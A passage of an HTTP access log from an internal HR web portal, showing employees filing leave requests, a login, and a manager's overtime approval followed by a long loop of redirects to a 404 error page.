3146 192.168.11.135 - - [03/Dec/2025:11:10:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:10:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 192.168.11.136 - - [03/Dec/2025:11:11:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:11:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.135 - - [03/Dec/2025:11:11:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:11:11:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.136 - - [03/Dec/2025:11:11:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:11:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:11:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:11:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:11:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:11:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 192.168.11.136 - - [03/Dec/2025:11:11:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:11:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.139.16 - - [03/Dec/2025:11:18:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:11:18:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:11:18:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [03/Dec/2025:11:18:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.139.16 - - [03/Dec/2025:11:18:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 31863 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 31863 192.168.139.16 - - [03/Dec/2025:11:18:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132710%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132710&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132710%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132710&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 